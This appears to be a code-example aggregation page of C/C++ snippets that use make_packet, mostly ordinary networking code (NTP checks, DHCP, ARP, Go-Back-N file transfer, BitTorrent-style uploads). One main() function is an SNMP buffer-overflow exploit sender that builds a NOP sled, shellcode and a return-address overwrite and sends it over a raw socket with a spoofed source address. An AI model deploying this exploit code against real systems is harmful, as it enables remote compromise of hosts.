void send_data_packets() {
  int i;
  struct sockaddr_in* from;
  int retsize, chunk_size;
  int * upload_id_list = get_upload_list(&retsize);
  int * upload_chunk_id_list = get_upload_chunk_list(&chunk_size);
  int peer_id;
  unsigned seq_number;
  int canSend;
  int timeout;
  for(i = 0; i < retsize; i++) {
  	peer_id = upload_id_list[i];
  	canSend = 1;
    /* if timeout send timeout packet first */
    if ((seq_number = get_timeout_seq(peer_id)) == 0) {
    	/* if not timout, check window size */
    	if(get_queue_size(peer_id) < get_cwnd_size(peer_id)) {
				seq_number = get_tail_seq_number(peer_id);
				/* transmit */
				timeout = 0;
			}
    	else{
    		canSend = 0;
      }
    }
    else {
    	/* retransmit */
      printf("retransmit\n");
      window_timeout(peer_id);
    	seq_number -= 1; /* offset by 1 */
    	timeout = 1;
    }
    //printf("seq: %d, canSend: %d, queue: %d, cwnd: %d\n", seq_number, canSend, get_queue_size(peer_id), get_cwnd_size(peer_id));
   	/* send one packet one time to ensure fairness */
    if(canSend && seq_number < MAX_PACKET_PER_CHUNK) {
		  char data[MAX_PAYLOAD_SIZE];
		  struct packet* packet;
		  if(seq_number==MAX_PACKET_PER_CHUNK-1){
		    int last_packet_size = BT_CHUNK_SIZE-MAX_PAYLOAD_SIZE*(MAX_PACKET_PER_CHUNK-1);
		    read_file(master_data_file_name, data, last_packet_size, 
		      upload_chunk_id_list[i] * BT_CHUNK_SIZE + seq_number * MAX_PAYLOAD_SIZE);
		    packet = make_packet(DATA, NULL, data, last_packet_size, seq_number + 1, 0, NULL, NULL, NULL);
		  }else{
		    read_file(master_data_file_name, data, MAX_PAYLOAD_SIZE, 
		      upload_chunk_id_list[i] * BT_CHUNK_SIZE + seq_number * MAX_PAYLOAD_SIZE);
		    packet = make_packet(DATA, NULL, data, MAX_PAYLOAD_SIZE, seq_number + 1, 0, NULL, NULL, NULL);
		  }

		  /* Send DATA */
		  from = find_addr(peer_id);
		  send_packet(*packet, sock, (struct sockaddr*)from);
		  wait_ack(peer_id, seq_number + 1, timeout);
		  free(packet->header);
		  free(packet);
    }
  }
  free(upload_id_list);
  free(upload_chunk_id_list);
}
Beispiel #2
0
/* this one saves the paremeters from builder window into a file */
int save_packet(GtkButton *button, gpointer user_data, FILE *file_p) {

    if (make_packet(button, user_data) == -1) {
        return -1;
    }

    struct pcap_hdr fh;
    fh.magic = PCAP_MAGIC;
    fh.version_major = 2;
    fh.version_minor = 4;
    fh.thiszone = 0;
    fh.sigfigs = 0;
    fh.snaplen = 102400;
    fh.network = pcap_link_type;
    fwrite(&fh, sizeof(fh), 1, file_p);

    struct pcaprec_hdr ph;
    ph.ts_sec = 0;
    ph.ts_usec = 0;
    ph.incl_len = number;
    ph.orig_len = number;
    fwrite(&ph, sizeof(ph), 1, file_p);

    fwrite(packet, number, 1, file_p);

    return 1;
}
Beispiel #3
0
int	check_ntp(char *host, unsigned short port, int timeout, int *value_int)
{
	zbx_sock_t	s;
	int		ret;
	char		*buf = NULL, packet[NTP_PACKET_MIN];
	ntp_data	data;

	*value_int = 0;

	if (SUCCEED == (ret = zbx_tcp_connect(&s, CONFIG_SOURCE_IP, host, port, timeout)))
	{
		make_packet(&data);

		pack_ntp((unsigned char *)packet, sizeof(packet), &data);

		if (SUCCEED == (ret = zbx_tcp_send_raw(&s, packet)))
		{
			if (SUCCEED == (ret = zbx_tcp_recv(&s, &buf)))
			{
				unpack_ntp(&data, (unsigned char *)buf, (int)strlen(buf));
				*value_int = (0 < data.receive ? (int)(data.receive - ZBX_JAN_1970_IN_SEC) : 0);
			}
		}

		zbx_tcp_close(&s);
	}

	if (FAIL == ret)
		zabbix_log(LOG_LEVEL_DEBUG, "NTP check error: %s", zbx_tcp_strerror());

	return SYSINFO_RET_OK;
}
Beispiel #4
0
int	check_ntp(char *host, unsigned short port, int timeout, int *value_int)
{
	zbx_socket_t	s;
	int		ret;
	char		request[NTP_PACKET_SIZE];
	ntp_data	data;

	*value_int = 0;

	if (SUCCEED == (ret = zbx_udp_connect(&s, CONFIG_SOURCE_IP, host, port, timeout)))
	{
		make_packet(&data);

		pack_ntp(&data, (unsigned char *)request, sizeof(request));

		if (SUCCEED == (ret = zbx_udp_send(&s, request, sizeof(request), timeout)))
		{
			if (SUCCEED == (ret = zbx_udp_recv(&s, timeout)))
			{
				*value_int = (SUCCEED == unpack_ntp(&data, (unsigned char *)request,
						(unsigned char *)s.buffer, s.read_bytes));
			}
		}

		zbx_udp_close(&s);
	}

	if (FAIL == ret)
		zabbix_log(LOG_LEVEL_DEBUG, "NTP check error: %s", zbx_socket_strerror());

	return SYSINFO_RET_OK;
}
Beispiel #5
0
void routing_send_signal( int to, int sig )
{
	read_packet *rp = make_packet( sig, FPM_DEV, to, NULL, NULL );

	if( write( fpm, rp, sizeof( read_packet ) ) < 0 ) {
		fprintf(stderr, "%s: Write error - %s\n", __func__, strerror( errno ) );
	}
    free_packet(rp);
}
Beispiel #6
0
struct pkt send_packet(int target, int seq, int ack, char* payload)
{
  struct pkt packet_out;
  packet_out = make_packet(seq, ack, payload);
  printf("%c: Sending packet (%d, %d, %d ,'%s')\n",(target == 0) ? 'A' : 'B' ,packet_out.seqnum, packet_out.acknum, packet_out.checksum, packet_out.payload);
  stats.packets_sent++;
  tolayer3(target, packet_out); //send out the built packet from A
  return packet_out;
}
Beispiel #7
0
void dhcp_request()
{
	if (next_state != REQUEST) {
		fprintf(err, "State is not REQUEST!\n");
		return;
	}
	fprintf(err, "dhcp_request()...\n");
	
	int len;
	struct dhcp_packet *packet = make_packet(&len);
	send_packet((char*)packet, len);
	free(packet);
	
	next_state = ACK;
	dhcp_ack();
}
Beispiel #8
0
// this routine handles returning responses from the virtual terminals to the
// driver for sorting and queueing. The variable 's' represents the mapped
// response while 't' represents the raw response.
void routing_return( int target, char *s, char *t )
{
	read_packet *rp = NULL;
	
	if (s == NULL)
		return;
	
	rp = make_packet( DATA, FPM_DEV, target, s, t );

	printf("%s: write combined mapped+raw response (%d bytes)\n", __func__, rp->size);
	if( write( fpm, rp, sizeof(read_packet) + rp->size ) < 0 ) {
		printf("%s: Write error - %s\n", __func__, strerror( errno ) );
	}
	free_packet(rp);

	printf("%s: write to fpm\n", __func__ );
}
Beispiel #9
0
//=====================================================================================
//
//	* Function : arp_request()
//	* Description 
//		make_packet() 함수를 이용해 ARP request packet을 생성한 뒤 10번 내보낸다. 
//		
//=====================================================================================
void arp_request(u_char *tip)
{	
	u_char packet[42];
	int i=0;
	pcap_t *fp = adhandle;
	make_packet(packet,tip);
	
    /* Send down the packet */
	
	for(i=0; i<10; i++){
		if (pcap_sendpacket(fp, packet,42) != 0)
		{
			log("[Error] Error sending the packet");
			return;
		}
	}
}
Beispiel #10
0
int	check_ntp(char *host, unsigned short port, int *value_int)
{

	zbx_sock_t	s;

	int		ret;
	char	*buf = NULL;

	ntp_data	data;
	char		packet[NTP_PACKET_MIN];

	assert(value_int);

	*value_int = 0;

	if (SUCCEED == (ret = zbx_tcp_connect(&s, CONFIG_SOURCE_IP, host, port, 0))) {
		make_packet(&data);

		pack_ntp((unsigned char*)packet, sizeof(packet), &data);

		if( SUCCEED == (ret = zbx_tcp_send_raw(&s, packet)) )
		{
			if( SUCCEED == (ret = zbx_tcp_recv(&s, &buf)) )
			{

				unpack_ntp(&data, (unsigned char *)buf, (int)strlen(buf));

#if OFF
			/* local time */	*value_int = time(NULL);
#else
			/* server time */	*value_int = (data.receive > 0) ? (int)(data.receive - ZBX_JAN_1970_IN_SEC) : 0;
#endif
			}
		}
	}
	zbx_tcp_close(&s);

	if( FAIL == ret )
	{
		zabbix_log(LOG_LEVEL_DEBUG, "NTP check error: %s", zbx_tcp_strerror());
	}

	return SYSINFO_RET_OK;
}
Beispiel #11
0
void dhcp_discover()
{
	if (next_state != DISCOVER) {
		fprintf(err, "State is not DISCOVER!\n");
		return;
	}
	fprintf(err, "dhcp_discover()...\n");
	
	generate_xid();
	renew = 0;
	
	int len;
	struct dhcp_packet *packet = make_packet(&len);
	send_packet((char*)packet, len);
	free(packet);
	
	next_state = OFFER;
	dhcp_offer();
}
void whohas_flooding(struct Request* request){
  int packet_count = 0;
  struct packet* packets = make_packet(WHOHAS, NULL, NULL, -1, 0, 0, NULL, &packet_count, request);
  int i;
  for(i=0;i<packet_count;i++){
    print_packet(&packets[i]);
  }
  if(packet_count!=0){
    struct bt_peer_s* peer = config.peers;
    while(peer!=NULL) {
        if(peer->id==config.identity){
          peer = peer->next;
        }
        else{
          send_whohas_packet_to_all(packets, packet_count, sock, (struct sockaddr*)&peer->addr);
          peer = peer->next;
        }
    }
  }
  free_packets(packets, packet_count);
  return;
}
int
main(int argc, char *argv[])
{
	/*---	Constant definitions	---*/
	const int one = 1;
	/*---------------------------------*/
	/*---	Networking Variables	---*/
	struct sockaddr_in sin;
	u_int32_t addr;
	int sock;
	int src;
	int dst=-1;
	/*---------------------------------*/
	/*---	Exploitation Variables	---*/
	char buf[MAX_BUFF];
	char *p;
	int ret;
	int shellcodelen;
	int retpos;
	int buffersize;
	/*---------------------------------*/
	/*---	Option Handling Variables	---*/
	int arg;
	int cnt;		
	int typeosys=0;
	int debugit=0;
	int port=161;
	int echo=0;
	/*-------------------------------------*/

	if(argc < 3)
		usage(argv[0]);

	src = resolve("127.0.0.1"); 

	while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) {
		switch(arg) {
			case 'e':
				echo = 1;
				break;
			case 's':
				src = resolve(optarg);
				break;
			case 'd':
				dst = resolve(optarg);
				break;
			case 't':
				typeosys = atoi(optarg);
				break;
			case 'x':
				debugit=1;
				break;
			case 'p':
				port = atoi(optarg);
			default:
				printf("Invalid argument, %c\n",arg);
				usage(argv[0]);
		}
	}

	if(dst == -1) {
		printf("Missing destination address.\n");
		usage(argv[0]);
	}

	shellcodelen= strlen(the_targets[typeosys].shellcode);
	addr= the_targets[typeosys].ret_address;
	retpos=	the_targets[typeosys].rets_position;
	buffersize=the_targets[typeosys].buffer_size;
	
	if(buffersize>MAX_BUFF-1) {
		printf("Must increase MAX_BUFF define to something >= %d\n",buffersize);
		exit(-1);
	}

	memset(buf, the_targets[typeosys].nop, buffersize);
	memcpy(buf + retpos, &addr, sizeof(addr));
	memcpy(buf + retpos - shellcodelen, the_targets[typeosys].shellcode, shellcodelen);

	if(debugit==1) {
	  for(cnt=1;cnt<buffersize;cnt++)
	    buf[cnt]=(char) cnt;
	}

	buf[buffersize] = '\0';

	p = make_packet(buf, src, dst, echo);

	/*---	Create the socket to send data on	---*/
	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(sock == -1) {
		perror("socket");
		exit(1);
	}
	/*---------------------------------------------*/

	/*---	Setup the socket's options	---*/
	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) {
		perror("setsockopt");
		exit(1);
	}
	/*-------------------------------------*/

	/*---	Setup the Socket type/dest	---*/
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = dst;
	/*-------------------------------------*/

	/*---	Send the udp packet and error check	---*/
	printf("Sending Packet...");
	ret = sendto(sock, p, HDR_SZ + PACKET_SZ + buffersize, 0, &sin, sizeof(sin));
	if(ret == -1) {
		perror("sendto");
		exit(1);
	}	
	printf("sent.\n");
	/*---------------------------------------------*/

	return(0);
}
Beispiel #14
0
int main(int argc, char **argv)
{
    if (argc<6) {
        fprintf(stderr,"ERROR, not enough argument\n");
        exit(1);
    }
    std::string filename(argv[1]);
    int SERVICE_PORT =atoi(argv[2]);
    std::string s_add(argv[3]);
    int portno = atoi(argv[4]);
    std::string logname(argv[5]);
    
    char cCurrentPath[FILENAME_MAX];
    if (!getcwd(cCurrentPath, sizeof(cCurrentPath)))
    {
        return errno;
    }
    std::string pathname(cCurrentPath);
    filename = pathname + "/" + filename;
    
    if (logname=="stdout") {
        logfs = stdout;
    }
    else{
        logname = pathname + "/" + logname;
        logfs = fopen(logname.c_str(), "w");
    }
    FILE *ofs = fopen(filename.c_str(), "w");
    //FILE *ofs = fopen("/Users/Rex/Desktop/cn_second/cn_second/o.txt", "w");
    
    
    struct sockaddr_in myaddr;  /* our address */
    struct sockaddr_in remaddr; /* remote address */
    socklen_t addrlen = sizeof(remaddr);        /* length of addresses */
    int recvlen;            /* # bytes received */
    int fd;             /* our socket */
    
    
    /* create a UDP socket */
    if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
        perror("cannot create socket\n");
        return 0;
    }
    
    /* bind the socket to any valid IP address and a specific port */
    
    memset((char *)&myaddr, 0, sizeof(myaddr));
    myaddr.sin_family = AF_INET;
    myaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    myaddr.sin_port = htons(SERVICE_PORT);
    
    if (bind(fd, (struct sockaddr *)&myaddr, sizeof(myaddr)) < 0) {
        perror("bind failed");
        return 0;
    }
    
    /////intial ack related sender tcp//////
    int n,sockfd;
    struct sockaddr_in serv_addr;
    struct hostent *server;
    
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0)
        printf("ERROR opening socket");
    server = gethostbyname(s_add.c_str());
    if (server == NULL) {
        fprintf(stderr,"ERROR, no such host\n");
        exit(0);
    }
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr,
          (char *)&serv_addr.sin_addr.s_addr,
          server->h_length);
    serv_addr.sin_port = htons(portno);
    if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0)
        printf("ERROR connecting");
    int ws;
    char addtmp[256];
    read(sockfd, &ws, sizeof(int));
    read(sockfd, addtmp, 255);
    write(sockfd,s_add.c_str() , s_add.size() );
    //local = string(addtmp,strlen(addtmp));
    local = "127.0.0.1";
    //////////
    std::vector<out_order_buffer_unit> out_order_buf;
    
    for(int i = 0; i<ws; i ++){
        byte *temp = new byte[BUFSIZE+20];
        out_order_buffer_unit tmp(-1,temp);
        out_order_buf.push_back(tmp);
    }
    
    /* now loop, receiving data and printing what we received */
    //printf("waiting on port %d\n", SERVICE_PORT);
    byte *tcp_packet = new byte[20+BUFSIZE];
    short flag,checksum,trash_short;
    short len = BUFSIZE;
    int totalbyte = 0,countretrans=0;
    int seq = 0,acknum = 0,rcv_base = 0,trash_int = 0,hehe;
    
    while(1){
        recvlen = recvfrom(fd, tcp_packet, 20+BUFSIZE, 0, (struct sockaddr *)&serv_addr, &addrlen);
        len = parse_packet(tcp_packet, &seq, &acknum, &flag, &checksum);
        
        writelog(time(0), s_add, local, seq*BUFSIZE, seq*BUFSIZE+1, flag, -1);
        if (flag == END) {
            break;
        }
        if (len==-1){
            continue;
        }
        else{
            if (seq==rcv_base) {
                totalbyte += 20+len;
                //string tmp = "len is "+std::to_string(len)+"\n";
                //fwrite(tmp.c_str(), 1, tmp.size(), logfs);
                //std::cout<<"len is "<<len<<"\n";
                //std::cout<<"Write seq # "<<seq<<" with len = "<<len<<"\n";
                fwrite(tcp_packet+20, 1, len, ofs);
                
                //greedy check buffer
                int target = seq+1;
                rcv_base++;
                for(int i = 0; i<ws; i++){
                    if (out_order_buf[i].first == target){
                        short len_t = parse_packet(out_order_buf[i].second, &hehe, &trash_int, &trash_short, &trash_short);
                        //tmp = "len_t is "+std::to_string(len_t)+"\n";
                        //fwrite(tmp.c_str(), 1, tmp.size(), logfs);
                        fwrite( (out_order_buf[i].second)+ 20, 1, len_t, ofs);
                        totalbyte += 20+len_t;
                        rcv_base++;
                        target++;
                        out_order_buf[i].first = -1;
                    }
                }
                acknum = seq+1;
                flag = ACK;
                
                make_packet(tcp_packet, &seq, &acknum, &flag, &checksum, ofs);
                n = write(sockfd, tcp_packet, 20);
                if (n < 0)
                    printf("ERROR writing to socket");
                writelog(time(0), local, s_add, seq*BUFSIZE, seq*BUFSIZE+1, flag, -1);
                
            }
            else  //out of order, buffer it
            {
                for(int i = 0; i<ws; i++){
                    if (out_order_buf[i].first == -1){
                        memcpy(out_order_buf[i].second, tcp_packet, 20+BUFSIZE);
                        out_order_buf[i].first = seq;
                        sort(out_order_buf.begin(),out_order_buf.end());
                        break;
                    }
                }
                
                acknum = seq + 1;
                flag = ACK;
                checksum = 0;
                make_packet(tcp_packet, &seq, &acknum, &flag, &checksum, ofs);
                n = write(sockfd, tcp_packet, 20);
                if (n < 0)
                    printf("ERROR writing to socket");
                writelog(time(0), local, s_add, seq*BUFSIZE, seq*BUFSIZE+1, flag, -1);
            }
        }
        //printf("seq is %d\n",seq);
    }
    string summary = "Transmission was successful!\nTotal bytes sent is "+std::to_string(totalbyte)+
    "\nNumber of sent segment is "+std::to_string(seq)+"\n";
    fwrite(summary.c_str(), 1, summary.size(), logfs);
    fclose(logfs);
    fclose(ofs);
    free(tcp_packet);
    for(int i = 0; i<ws; i ++){
        free(out_order_buf[i].second);
    }
    return 0;
}
Beispiel #15
0
int main(int argc, char *argv[])
{
    int sockfd;
    int portno, n_char;
    int slen;
    struct sockaddr_in serv_addr;
    struct hostent *server;

    char *hostname, *filepath;

    double p_loss, p_corrupt;
    p_loss = 0.0;
    p_corrupt = 0.0;

    int expect_seq_num;
    struct packet snd_pkt, rcv_pkt;

    FILE* file;

    if (argc < 4)
    {
        fprintf(stderr, "Usage: %s hostname port filepath [loss ratio] [corrupt ratio]\n", argv[0]);
        exit(0);
    }

    switch (argc)
    {
        case 6:
            p_corrupt = atof(argv[5]);
        case 5:
            p_loss = atof(argv[4]);
        default:
            filepath = argv[3];
            portno = atoi(argv[2]);
            hostname = argv[1];
            break;
    }

    sockfd = socket(AF_INET, SOCK_DGRAM, 0); // Using UDP!

    if (sockfd < 0)
    {
        error("Error opening socket");
    }

    server = gethostbyname(hostname);
    if (server == NULL)
    {
        fprintf(stderr, "Error: no such host\n");
        exit(0);
    }

    bzero((char *)&serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
    serv_addr.sin_port = htons(portno);

    // Create the initial packet
    expect_seq_num = 1;
    snd_pkt = make_packet();

    set_syn(&snd_pkt);
    snd_pkt.seq_num = 0;
    set_data(&snd_pkt, filepath, strlen(filepath));

    slen = sizeof(serv_addr);

    char str[100] = "copy_";

    char *dirc, *basec, *dname, *bname;
    dirc = strdup(filepath);
    basec = strdup(filepath);
    dname = dirname(dirc);
    bname = basename(basec);

    file = fopen(strcat(str, bname), "wb");

    // Send the initial packet
    msg("Sending file request to sender...\n");
    n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, slen);
    if (n_char < 0)
    {
        error("Error sending packet");
    }

    // Go-Back-N FSM
    while (1)
    {
        // Wait to receive a message
        // if (rcv_pkt)
        // {
        //     free(rcv_pkt);
        // }

        rcv_pkt = make_packet();

        n_char = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr*)&serv_addr, (socklen_t*)&slen);

        if (check_none(&rcv_pkt))
        {
            msg("No such file exists on the sender side\n");
            fclose(file);
            remove(str);
            teardown(NULL, sockfd);
        }

        if (check_fin(&rcv_pkt)) // server closing connection
        {
            msg("-> FIN\n");
            msg("<- FIN-ACK ...\n");

            //free(&snd_pkt);
            snd_pkt = make_packet();
            set_fin(&snd_pkt);

            n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
            if (n_char < 0)
            {
                error("Error sending FIN-ACK");
            }

            //free(&rcv_pkt);
            //free(&snd_pkt);
            teardown(file, sockfd);
            break;
        }

        if (n_char < 0)
        {
            msg("Packet from sender LOST\n");
        }
        else if (chance() < p_loss)
        {
            msg("Packet from sender LOST\n");
        }
        else if (chance() < p_corrupt)
        {
            msg("Packet from sender CORRUPT\n");
            
            msg("<- RE-ACK: SEQNUM %d ...\n", snd_pkt.seq_num);
            int n_char;
            n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

            if (n_char < 0)
            {
                error("Error acking packet\n");
            }
        }
        else if (rcv_pkt.seq_num == expect_seq_num)
        {
            msg("-> DATA: SEQNUM %d\n", rcv_pkt.seq_num);

            fwrite(rcv_pkt.data, 1, rcv_pkt.d_length, file);
            expect_seq_num++;

            //free(&snd_pkt);
            snd_pkt = make_packet();
            set_ack(&snd_pkt);
            snd_pkt.seq_num = rcv_pkt.seq_num;

            send_ack(sockfd, snd_pkt, serv_addr);
        }
        else if (rcv_pkt.seq_num < expect_seq_num)
        {
            msg("-> DATA: SEQNUM %d\n", rcv_pkt.seq_num);

            //free(&snd_pkt);
            snd_pkt = make_packet();
            set_ack(&snd_pkt);
            snd_pkt.seq_num = rcv_pkt.seq_num;

            msg("<- RE-ACK: SEQNUM %d ...\n", snd_pkt.seq_num);
            int n_char;
            n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

            if (n_char < 0)
            {
                error("Error acking packet\n");
            }
        }
        else
        {
            msg("-> DATA: SEQNUM %d\n", rcv_pkt.seq_num);
            
            msg("<- RE-ACK: SEQNUM %d ...\n", snd_pkt.seq_num);
            int n_char;
            n_char = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

            if (n_char < 0)
            {
                error("Error acking packet\n");
            }
        }
    }
}
Beispiel #16
0
static int
ifconfig(char *ifname)
{
	struct ifinfo *ifinfo;
	struct sockaddr_dl *sdl;
	int flags;

	if ((sdl = if_nametosdl(ifname)) == NULL) {
		warnmsg(LOG_ERR, __func__,
		       "failed to get link layer information for %s", ifname);
		return(-1);
	}
	if (find_ifinfo(sdl->sdl_index)) {
		warnmsg(LOG_ERR, __func__,
			"interface %s was already configured", ifname);
		free(sdl);
		return(-1);
	}

	if ((ifinfo = malloc(sizeof(*ifinfo))) == NULL) {
		warnmsg(LOG_ERR, __func__, "memory allocation failed");
		free(sdl);
		return(-1);
	}
	memset(ifinfo, 0, sizeof(*ifinfo));
	ifinfo->sdl = sdl;

	strncpy(ifinfo->ifname, ifname, sizeof(ifinfo->ifname));

	/* construct a router solicitation message */
	if (make_packet(ifinfo))
		goto bad;

	/*
	 * check if the interface is available.
	 * also check if SIOCGIFMEDIA ioctl is OK on the interface.
	 */
	ifinfo->mediareqok = 1;
	ifinfo->active = interface_status(ifinfo);
	if (!ifinfo->mediareqok) {
		/*
		 * probe routers periodically even if the link status
		 * does not change.
		 */
		ifinfo->probeinterval = PROBE_INTERVAL;
	}

	/* activate interface: interface_up returns 0 on success */
	flags = interface_up(ifinfo->ifname);
	if (flags == 0)
		ifinfo->state = IFS_DELAY;
	else if (flags == IFS_TENTATIVE)
		ifinfo->state = IFS_TENTATIVE;
	else
		ifinfo->state = IFS_DOWN;

	rtsol_timer_update(ifinfo);

	/* link into chain */
	if (iflist)
		ifinfo->next = iflist;
	iflist = ifinfo;

	return(0);

  bad:
	free(ifinfo->sdl);
	free(ifinfo);
	return(-1);
}
Beispiel #17
0
int main(int argc, char *argv[])
{
    int cwnd;
    cwnd = 4000; // default cwnd

    timeout = 0;

    int WINDOW_SIZE;

	double p_loss, p_corrupt;
    p_loss = 0.0;
    p_corrupt = 0.0;
    
    struct sockaddr_in serv_si, cli_si;
	struct packet snd_pkt, rcv_pkt;

    FILE *file;
    struct stat file_stat;
    int n_packets;
    int readlength;
     
    int portno, sockfd, i, recv_len, send_len;
    int slen = sizeof(cli_si);

    if (argc < 2)
    {
        fprintf(stderr, "Usage: %s port [cwnd] [loss ratio] [corrupt ratio]\n", argv[0]);
        exit(0);
    }

    switch (argc)
    {
        case 5:
            p_corrupt = atof(argv[4]);
        case 4:
            p_loss = atof(argv[3]);
        case 3:
            cwnd = atoi(argv[2]);
        default:
            portno = atoi(argv[1]);
            break;
    }

    WINDOW_SIZE = cwnd / PACKET_SIZE;

    //create a UDP socket
    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
        die("socketfd error", sockfd);
    }
     
    // zero out the structure
    memset((char *) &serv_si, 0, sizeof(serv_si));
     
    serv_si.sin_family = AF_INET;
    serv_si.sin_port = htons(portno);
    serv_si.sin_addr.s_addr = htonl(INADDR_ANY);
     
    //bind socket to port
    if(bind(sockfd , (struct sockaddr*)&serv_si, sizeof(serv_si)) == -1)
    {
        die("error in bind\n", sockfd);
    }

    rcv_pkt = make_packet();
    
    msg("Waiting for file request...\n");
    if ((recv_len = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr *) &cli_si, (socklen_t*)&slen)) == -1)
	{
        die("error receive syn", sockfd);
	}

    snd_pkt = make_packet();
    
    if (check_syn(&rcv_pkt)) {
        msg("Received file request for %s\n", rcv_pkt.data);

    	file = fopen(rcv_pkt.data, "rb");

        if (file == NULL) // no file exists
        {
            msg("No such file, sending NONE packet...\n");

            set_none(&snd_pkt);
            if ((send_len = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&cli_si, slen)) == -1)
            {
                die("Error sending NONE", sockfd);
            }

            teardown(file, sockfd);
        }
    }

    stat(rcv_pkt.data, &file_stat);
    n_packets = file_stat.st_size / DATA_SIZE;
    if (file_stat.st_size % DATA_SIZE)
    {
        n_packets++;
    }
    
    int base, next_seq, last_ack = 1;

    base = 1;
    next_seq = 1;
    last_ack = 0;

    int pktindex;

    struct packet pkt_win[WINDOW_SIZE];
    char buf[PACKET_SIZE];

    struct sigaction act;
    memset (&act, '\0', sizeof(act));
    act.sa_sigaction = &handle_sigalrm;
    act.sa_flags = 0;
    sigaction(SIGALRM, &act, NULL); //sets timeout handler

    // Send initial packets
    for (i = 0; i < min(WINDOW_SIZE, n_packets); i++) {
        memset(buf, 0, PACKET_SIZE);

        snd_pkt = make_packet();
        snd_pkt.seq_num = i + 1;

        readlength = fread(buf, sizeof(char), DATA_SIZE, file);
        set_data(&snd_pkt, buf, readlength);

        pkt_win[i] = snd_pkt;

        msg("<- DATA: SEQNUM %d ...\n", snd_pkt.seq_num);

        if (sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr *)&cli_si, slen) < 0)
        {
            error("ERROR on sending");
        }

        next_seq++;
    }

	while (base <= n_packets) {
        if (timeout) {
            int n_char;
            int resend_base = base;

            msg("TIMEOUT: resending packets %d - %d\n", resend_base, min(resend_base + WINDOW_SIZE - 1, n_packets));
            
            while (resend_base < next_seq) {
                pktindex = (resend_base - 1) % WINDOW_SIZE;
                send_len = sendto(sockfd, &pkt_win[pktindex], sizeof(pkt_win[pktindex]), 0, (struct sockaddr*)&cli_si, slen);
                if (send_len < 0)
                {
                    die("Error sending packet during timeout", sockfd);
                }
                msg("Retransmitting DATA with SEQNUM %d ...\n", resend_base);
                resend_base++;
            }

            timeout = 0;
            alarm(TO_SEC);
        }

		rcv_pkt = make_packet();

		if ((recv_len = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr *) &cli_si, (socklen_t*)&slen)) == -1)
		{
	        // Timed out, recvfrom unblocked. 
            // Continue, let loop hit timeout block above
            continue;
		}
        else if (chance() < p_loss)
        {
            msg("Packet from receiver LOST\n");
        }
		else if (chance() < p_corrupt)
		{
			msg("Packet from receiver CORRUPT\n");
		}
		else if (check_fin(&rcv_pkt)) {
			msg("-> FIN-ACK\n");
			teardown(file, sockfd);
		}
		else if (rcv_pkt.seq_num == base) {
			// Correct ACK received, stop timer
            alarm(0);

            msg("-> ACK: SEQNUM %d\n", rcv_pkt.seq_num);
            last_ack = rcv_pkt.seq_num;
            base = rcv_pkt.seq_num + 1;

            // Send packets
            if (next_seq <= min(base + WINDOW_SIZE, n_packets + 1)) {
                memset(buf, 0, PACKET_SIZE);

                if ((readlength = fread(buf, sizeof(char), DATA_SIZE, file)) == 0) {
                    // struct packet fin_pkt = make_packet();

                    // set_fin(fin_pkt);
                    // fin_pkt.seq_num = next_seq;

                    
                    // if ((send_len = sendto(sockfd, &finpkt, sizeof(finpkt), 0, (struct sockaddr*)&cli_si, slen)) < 0) {
                    //     die("Error sending packet during fin", sockfd);
                    // }
                    // else {
                    //     msg("<- FIN ...\n");
                    //     alarm(TO_SEC);
                    // }
                    alarm(TO_SEC);
                }
                else {
                    snd_pkt = make_packet();

                    set_data(&snd_pkt, buf, readlength);
                    snd_pkt.seq_num = next_seq;

                    pktindex = (next_seq - 1) % WINDOW_SIZE;
                    pkt_win[pktindex] = snd_pkt;

                    msg("<- DATA: SEQNUM %d ...\n", next_seq);

                    if ((send_len = sendto(sockfd, &pkt_win[pktindex], sizeof(pkt_win[pktindex]), 0, (struct sockaddr*)&cli_si, slen)) < 0) {
                        die("Error sending packet during data", sockfd);
                    }

                    if (next_seq == base) {
                        alarm(TO_SEC);
                    }

                    if (next_seq <= n_packets)
                    {
                        next_seq++;
                    }
                }
            }
		}
		else {
			// Incorrect ACK received, restart timer
            alarm(TO_SEC);
		}
	}

    // Send FIN
    snd_pkt = make_packet();
    set_fin(&snd_pkt);
    msg("<- FIN ...\n");

    if ((send_len = sendto(sockfd, &snd_pkt, sizeof(snd_pkt), 0, (struct sockaddr*)&cli_si, slen)) < 0) {
        die("Error sending packet during teardown", sockfd);
    }

    rcv_pkt = make_packet();

    if ((recv_len = recvfrom(sockfd, &rcv_pkt, sizeof(rcv_pkt), 0, (struct sockaddr *) &cli_si, (socklen_t*)&slen)) > 0)
    {
        if (check_fin(&rcv_pkt)) {
            msg("-> FIN-ACK\n");
            teardown(file, sockfd);
        }
    }

    teardown(file, sockfd);
    return 0;
}